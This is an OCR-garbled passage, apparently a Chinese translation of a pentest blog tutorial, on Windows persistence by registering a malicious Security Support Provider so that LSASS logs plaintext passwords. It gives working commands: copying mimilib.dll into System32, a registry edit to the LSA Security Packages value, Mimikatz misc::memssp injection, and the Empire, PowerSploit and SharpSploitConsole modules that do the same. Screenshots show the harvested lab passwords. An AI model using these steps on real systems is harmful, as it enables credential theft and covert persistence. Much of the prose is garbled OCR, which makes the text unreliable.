AR (SSP) Z£Windows APL, I F¥~ jgWindows & 345 iEHLH . LSASSHEFLIEAE
Windows j& gl i [R]in gk 2 2 S R R P DLL . R 7 A LT B 2o m] AN BR — MEE A9 SSP
DLLLAME 5 LSASSBERE #1750 B IC s % R P AE A B T RS, sl B T SSPXZ B AR #EA T
BRI M TC T e il £ o

GHORAT TS RAGEERE N ARG PR E, FFRXEER S 75—l (FIRDP, WMISE) &5
S, DA TP, ATTE R 28 R R A E o 1A ENE AR & 4 SRR A AR P AR B T A 900
ORI, - EL T LA A7 3%

1. FEJFSSP DLL
2. IN#EE N A7

Mimikatz, EmpirefiPowerSploit=y fiixpiff 5k, A LAFELLBR/Ef i .

Mimikatz

T H Mimikatz#2 4t 7 —4-DLL3Cf#f (mimilib.dll) |, =] LUK HaE) 5LSASSHEFE (System32) A
HIALE, LAME AT A 52 B AR H P RIS Al SO 4

C:\Windows\System32\

SR ER AR S, WM IR BT 24 Sc R R Frmimilib.,

reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages" /d
"kerberos\Omsvl 0\Oschannel\Owdigest\Otspkg\Opku2u\Omimilib" /t REG MULTI SZ

EN Administrator: Windows PowerShell - O X

lindows PowerShell
opyright (C> Microsoft Corporation. All rights reserved.

IPS C:\UserssAdministrator? reg add
7t REG_MULTI_SZ
alue Security Packages exists, overwrite(Yes Nod? ¥
he operation completed successfully.
PS C:\UserssAdministrator>

SSP — mimiliby s

A AR RIS R R O AR RL 2 IRHR IR .

HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages



af://n9
https://github.com/gentilkiwi/mimikatz/releases

ﬁ Enegepyaotng Mntpwou
Apyeio Emefepyacio MpoPolr Ayemnuéva BonBewa
YroAoylotric\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa

IntegrityServices A~ 'Ou_c_pHg_x_ ____________ Tumog
PMI 2b|{Npoemuioyn)| REG_SZ
KernelVelocity 4ifauditbasedirectories REG_DWORD
Keyboard Layout ) auditbaseobjects REG_DWORD
Keyboard Layouts 2B]Authentication Packages REG_MULTI_SZ
LeapSecondInformation ﬁ\.Bounds REG_BINARY
L _ ) crashonauditfail REG_DWORD
AccessProviders ad o )
Audit ,:l;%dlsabledcl_mmncreds REG_DWORD
CachedMachineNames ::I‘Q\Jeveryonelncludesanonymous REG_DWORD
CentralizedAccessPolicies ’jﬁ’;forceglj'eﬂ - REG_DWORD
ComponentUpdates 41,a\lfullpm.r|legeaud|tmg REG_BINARY
Credssp 3_‘1‘9:LimitBIankPasswordUse REG_DWORD
Data fit|LsaCfgFlagsDefault REG_DWORD
DPL 5] LsaPid REG_DWORD
FipsAlgorithmPolicy $|NoLmHash REG_DWORD
GBG ab|Notification Packages REG_MULTI_SZ
D %) ProductType REG_DWORD
Kerberos ) restrictanonymous REG_DWORD
MSV1_0 ,ﬂlﬁa\ restrictanonymoussam REG_DWORD
OfflinelSA if]SecureBoot REG_DWORD
g'sf(':"”e?”“" ab|Security Packages REG_MULTI_SZ
onfig

TR — 2B

AsSopdvo

(n TR Sev éxel oploTei)
0x00000000 (0)
0x00000000 (0)

msv1_0

00 3000 00 00 20 00 0O
0x00000000 (0)
0x00000000 (0)
0x00000000 (0)
0x00000000 (0)

00

0x00000001 (1)
0x00000000 (0)
0x00000284 (644)
0x00000001 (1)

scecli

0x000000a1 (161)
0x00000000 (0)
0x00000001 (1)
0x00000001 (1)

kerberos msv1_0 schannel wdigest tspkg pku2u mimilib

HI TR O SO HDLLAE#E R b, BIHGZ T A B0 E sl R 4R SE A7 A . S8l P Fom i

ARG T BN IIERT, KO 2 o KIWISSPRUHT U, 12 SCIERHC MK Y fi

C:\Windows\System32\kiwissp.log

= | System32

4

Kown xprion MNpofohn

€« v 4 “ Tomkog digkog (C:) » Windows » System32 v U Avalnmon: System32
Il ‘Ovopa Huepopnvia tpomom...  Tumog
rpn 5
# Teriyopn mpoopaan — kiwissp 20/10/2019 9:04 pp Eyypapo kepgvou
il fnaeimy emviee o

1] kiwissp - Inpelwpatdplo
Apyelo Emegepyaoia Moppny MpofoAr BonBex

[00000000:000003e7] [000O00B2] PENTESTLAB\OUTLOOK$ (OUTLOOK$)
[00000000:0000cd46] [@OROOOV2] PENTESTLAB\OUTLOOK$ (UMFD-©)

[00000000:000003e5] [000BOOO5] \ (LOCAL SERVICE)

[00000000:00010c9b] [000BOOV2] PENTESTLAB\OUTLOOK$ (UMFD-1)

[00000000:000003e4] [00BOOOO5] PENTESTLAB\OUTLOOK$ (NETWORK SERVICE)

[00000000:00013834] [00ROOOV2] PENTESTLAB\OUTLOOK$ (DWM-1)
[00000000:00013875] [00000002] PENTESTLAB\OUTLOOK$ (DWM-1)

Oc ed 21 14 19 5f 30 30 91
Oc ed 21 14 19 5f 30 30 91

Oc ed 21 14 19 5f 30 30 91
0c ed 21 14 19 5f .
Oc ed 21 14 19 5f 30 30 91
Oc ed 21 14 19 5f 30 30 91

(00000000 :00077b5f ] [00000002] PENTESTLAB\Administrator (Administrator) Password123

Mimikatz — kiwissp

5341, Mimikatziaid [ LSASSYEA BT 2SR fhFe )y (SSP) SRSCHs N AFROARIEI . L EARANT

22 mimilib. I AR G i

B, SR E T E S R A SRS (e




privilege: :debug

misc: :memssp

&/ mimikatz 2.2.0 x64 (oe.eo)

CHERHHT. mimikatz 2.2.0 (x64) #18362 Aug 14 2019 ©1:31:47
JHE N~ ##. “"A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY ~“gentilkiwi® ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
"## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
jF:2:2i2 02 > http://pingcastle.com / http://mysmartlogon.com EAS

imikatz # privilege::debug
Privilege '20' OK

mimikatz # misc::memssp
njected =)

imikatz

Mimikatz — P 711 SSP

L P EOE I ARG T R RIER], 5 AESystem32rp it — A HAESOH, g S A SOR AL
R

C:\Windows\System32\mimilsa.log

b Local Disk (C) » Windows » System32 »

with... New folder
Va
Name Date modified Type Size
2 mimilib.dll 9/10/2019 10:14 PM Application extension 46 KB
mimilsa 10/21/2019 12:05 A... Text Document 1 KB

| mimilsa - Notepad

File Edit Format View Help

[00000000:000931a7] PENTESTLAB\pentestlab Passwordl23
[00000000:000931cl] PENTESTLAB\pentestlab Passwordl23
[00000000:000003e5] \

.Mimikatz — mimilsa

Empire


af://n32

Empiref@ft 7 pi-Msith, TSI RISSPIHAE HAR 258 ELASERHISSP. BUAEIL T, Azt
Bl R s A, I AT BT KA E -

usemodule persistence/misc/get ssps

execute

MaxTokenSize : 482

t Package Negotiator

8 : INiEGHITY, PRIVACY, CONNECTION, MULTI REQUIRED, EXTENDED ERROR, IMPERSONATION, ACCEPT WIN32 NAME, NEGOTI
ABLE, G55 COMPATIBLE, LOGON, RESTRICTED TOKENS, APPCONTAINER CHECKS

MaxTokenSize : 12000

Comment : NegoExtender Security Package

Name : NegoExtender

Capabilities : INTEGRITY, PRIVACY, CONNECTION, IMPERSONATION, NEGOTIABLE, GSS COMPATIBLE, LOGON, MUTUAL AUTH, NEGO EXTE
NDER, APPCONTAINER CHECKS

MaxTokenSize : 48
oft Kerberos V1.0

: K ero
: 42941375

= : 2888
: NTLM Security Package
: NTLM
Capabilities : 42478391

Empire — SSP #%¢

R, BRI EMER i LIRBUAE I SSPHY{E .

shell reg query hklm\system\currentcontrolset\control\lsa\ /v "Security

Packages"

.Emp ) = shell reg query hklm\s ”htwm\currwntcuntrulsct\cuntrul\lma\ /v "Security Packages"
: A to run TASK
ed with 2
) = [*] Agent S5D7VWFS8H returned results.
stem\currentcontrol ‘controlylsa
REG MULTI SZ (e s\Omsvl 8\@schannel\0wdigest\0tspkg\0pku2u

.Comman cution completed.
*] Valid results returned by 10.0.2.40

T SSPRYM S A 36
Wl B AR AR 7 & ) 2 Sy stem 323 BT M R WO 25 L B

shell copy mimilib.dll C:\Windows\System32\

(Empire: )} » shell copy mimilib.d11 C:\Windows\sy
[#*] Tasked HVEA N to run TASK SHELL

[*] Agent HVEA2SCN tasked with task ID 6

(Empire: ] [*] Agent HVEA2SCN returned results.

.Command execution completed.
[*] valid results returned by 10.0.2.30

(Empire: ) =

Fmimilib.dll&E #5System32



HITEmpiretl &Mk, Zd R nl LLE shitfr, 12kt B g DLLICH 2 il 2 System 325 G i
WrERm. ME—R SRR AL B Emimilib Al ¢ rg g 12

usemodule persistence/misc/install_ssp*
set Path C:\Users\Administrator\mimilib.dll

execute

2 powers : 2/ /
c/install_ssp) = [*] Aqenf P&HEUUhl rvturned results

[*] valid results returned by 10.0.2.480

(Empire: powershell/persistence/misc/install_ssp) > []
Empire SSP%2%E

Empireid sz#7 il LT B E XMImikatz & A,

usemodule credentials/mimikatz/command
set Command misc::memssp

execute

Command misc:

> run TAS
ed with
9FVT to run module powershell/credentials/mimikatz/command
rshell/credentials/mimikatz/command) > [*] Agent 2ZEYSFVT returned results.
Job start K1A8DL
[*] valid results returned by 10.0.2.30

(Empire: powershell/credentials/mimikatz/command) =
Mimikatz — SSP#74>

Empireid 7 £ 46 ghFE E i OB SSP. R i/ FAMimikatz ) A3 B/ rmemsspy
%, VEREZEAR B 75— M.

usemodule persistence/misc/memssp*

execute

(Empire: ) = usemodule persistence/misc/memssp*
(Empire: powershell/persistence/misc/memssp) > execute

LY

¥
[#] Tasked SGV4CUL6 to run TASK_CMD_JOB
[*] Agent SGV4CUL6 tasked with task ID 1

[#] Tasked agent SGV4CUL6 to run module powershell/persistence/misc/memssp

(Empire: powershell/persistence/misc/memssp) > [*] Agent SGV4CUL6 returned results.
Job starte 6T29LC

[*] valid results returned by 10.0.2

(Empire: powershell/persistence/misc




Empire — memssp

PowerSploit

PowerSploitfy & - a] DA TS B A . /EMimikatzf{PowerShellZ: 44 Invoke-
Mimikatz "1, $h47ELF i 468 H AR EAR

Import-Module .\Invoke-Mimikatz.psl

Invoke-Mimikatz -Command "misc::memssp"

PS C:\Users\Administrator\Desktop> Import-Module .\Invoke-Mimikatz.psl
PS C:\Users\Administrator\Desktop> Invoke-Mimikatz -Command "misc::memssp"”

CHHHEE mimikatz 2.1 (x64) built on Nov 10 2016 15:31:14
B8 T HH. A La Uie, A L Amour”
BE /N HH  /x x x
B4 \ / #4  Benjamin DELPY "gentilkiwi ( benjamin@gentilkiwi.com )
"HE v HES http://blog.gentilkiwi.com/mimikatz (oe.eo0)
"HEHEH With 20 modules x x x/
ERROR mimikatz_initOrClean ; ColnitializeEx: 80010106

mimikatz(powershell) # misc::memssp
Injected =)

PS C:\Users\Administrator\Desktop>

PowerSploit — Mimikatz SSP

B, KR RISSP DDLICHEE] H AR AU I #itkInstall-SSPH# DLLE £ System32, Jf-4%
H S E SO SR RYTEM R T

Import-Module .\PowerSploit.psml
Install-SSP -Path .\mimilib.dll

PS C:\Users\Administrator\Desktop\PowerSploit> Import-Module .\PowerSploit.psml
PS C:\Users\Administrator\Desktop\PowerSploit> Install-$SP -Path .\mimilib.dl1
PS C:\Users\Administrator\Desktop\PouwerSploit> _

PowerSploit —%3:SSP


af://n57
https://github.com/PowerShellMafia/PowerSploit

SharpSploitConsole

Mimikatz & & #ISharpSploitConsolert, % A7 54 5Ryan Cobb % #i [ SharpSploit it 752
H. SharpSploit/z —/~NET/5 k%, BA75PowerSploitk Ul Thfg. 4,
SharpSploitConsolejfiit Mimikatzfsibh 37 5 N 77 AR .

SharpSploitConsole x64.exe Interact

Mimi-Command misc: :memssp

PS C:\Users\Administrator> .“\SharpSploitConsole_x64.exe Interact

Al

[Console Edition v 1.11]

Written by anthemtotheego & gBldengunsec

Type help or ? to show menu options

SharpSploitConsole:?> Mimi—Command misc::memssp
“misc::memssp"

mimikatz 2.1.1 {x64> built on May 9 2818 15:35:27

YA La Vie, A L’Amour'" - Coe.eod

swx% Benjamin DELPY ‘gentilkiwi® ¢ henjaminBgentilkiwi.com )
> http:/sblog.gentilkivi.com/mimikat=
Uincent LE TOUX ( vincent.letouxPgmail.com >
> http://pingcastle.com ~/ http://mysmartlogon.com S

mimikatz<{powershell> ## misc::memssp
Injected =>

SharpSploitConsole — memssp

FELAH]: KL HBYPAsSBEFEIMIE, (U TEBIARIFT L.

JAX A4 - https://pentestlab.blog/2019/10/21/persistence-security -support-provider/



af://n66
https://github.com/anthemtotheego/SharpSploitConsole
https://twitter.com/cobbr_io/
https://github.com/cobbr/SharpSploit
https://pentestlab.blog/2019/10/21/persistence-security-support-provider/
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